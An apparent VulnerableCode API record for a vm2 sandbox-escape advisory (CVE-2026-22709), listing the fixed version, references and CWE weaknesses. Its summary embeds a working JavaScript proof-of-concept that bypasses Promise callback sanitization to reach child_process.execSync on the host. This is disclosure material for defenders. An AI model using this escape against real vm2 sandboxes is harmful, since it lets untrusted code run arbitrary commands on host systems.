Lookup for vulnerabilities affecting packages.

GET /api/vulnerabilities/49851?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49851?format=api",
    "vulnerability_id": "VCID-gqm5-bhj5-k3cf",
    "summary": "vm2 has a Sandbox Escape\nIn vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () => error.stack;\nconst promise = f();\npromise.catch(e => {\nconst Error = e.constructor;\nconst Function = Error.constructor;\nconst f = new Function(\n\"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n);\nf();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.",
    "aliases": [
        {
            "alias": "CVE-2026-22709"
        },
        {
            "alias": "GHSA-99p7-6v5w-7xg8"
        }
    ],
    "fixed_packages": [
        {
            "url": "http://public2.vulnerablecode.io/api/packages/73623?format=api",
            "purl": "pkg:npm/vm2@3.10.2",
            "is_vulnerable": false,
            "affected_by_vulnerabilities": [],
            "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/vm2@3.10.2"
        }
    ],
    "affected_packages": [],
    "references": [
        {
            "reference_url": "https://github.com/patriksimek/vm2",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/patriksimek/vm2"
        },
        {
            "reference_url": "https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29"
        },
        {
            "reference_url": "https://github.com/patriksimek/vm2/releases/tag/v3.10.2",
            "reference_id": "",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/patriksimek/vm2/releases/tag/v3.10.2"
        },
        {
            "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22709",
            "reference_id": "CVE-2026-22709",
            "reference_type": "",
            "scores": [],
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22709"
        },
        {
            "reference_url": "https://github.com/advisories/GHSA-99p7-6v5w-7xg8",
            "reference_id": "GHSA-99p7-6v5w-7xg8",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/advisories/GHSA-99p7-6v5w-7xg8"
        },
        {
            "reference_url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8",
            "reference_id": "GHSA-99p7-6v5w-7xg8",
            "reference_type": "",
            "scores": [],
            "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8"
        }
    ],
    "weaknesses": [
        {
            "cwe_id": 693,
            "name": "Protection Mechanism Failure",
            "description": "The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product."
        },
        {
            "cwe_id": 913,
            "name": "Improper Control of Dynamically-Managed Code Resources",
            "description": "The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements."
        },
        {
            "cwe_id": 94,
            "name": "Improper Control of Generation of Code ('Code Injection')",
            "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
        },
        {
            "cwe_id": 937,
            "name": "OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities",
            "description": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013."
        },
        {
            "cwe_id": 1035,
            "name": "OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities",
            "description": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017."
        }
    ],
    "exploits": [],
    "severity_range_score": null,
    "exploitability": null,
    "weighted_severity": null,
    "risk_score": null,
    "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-gqm5-bhj5-k3cf"
}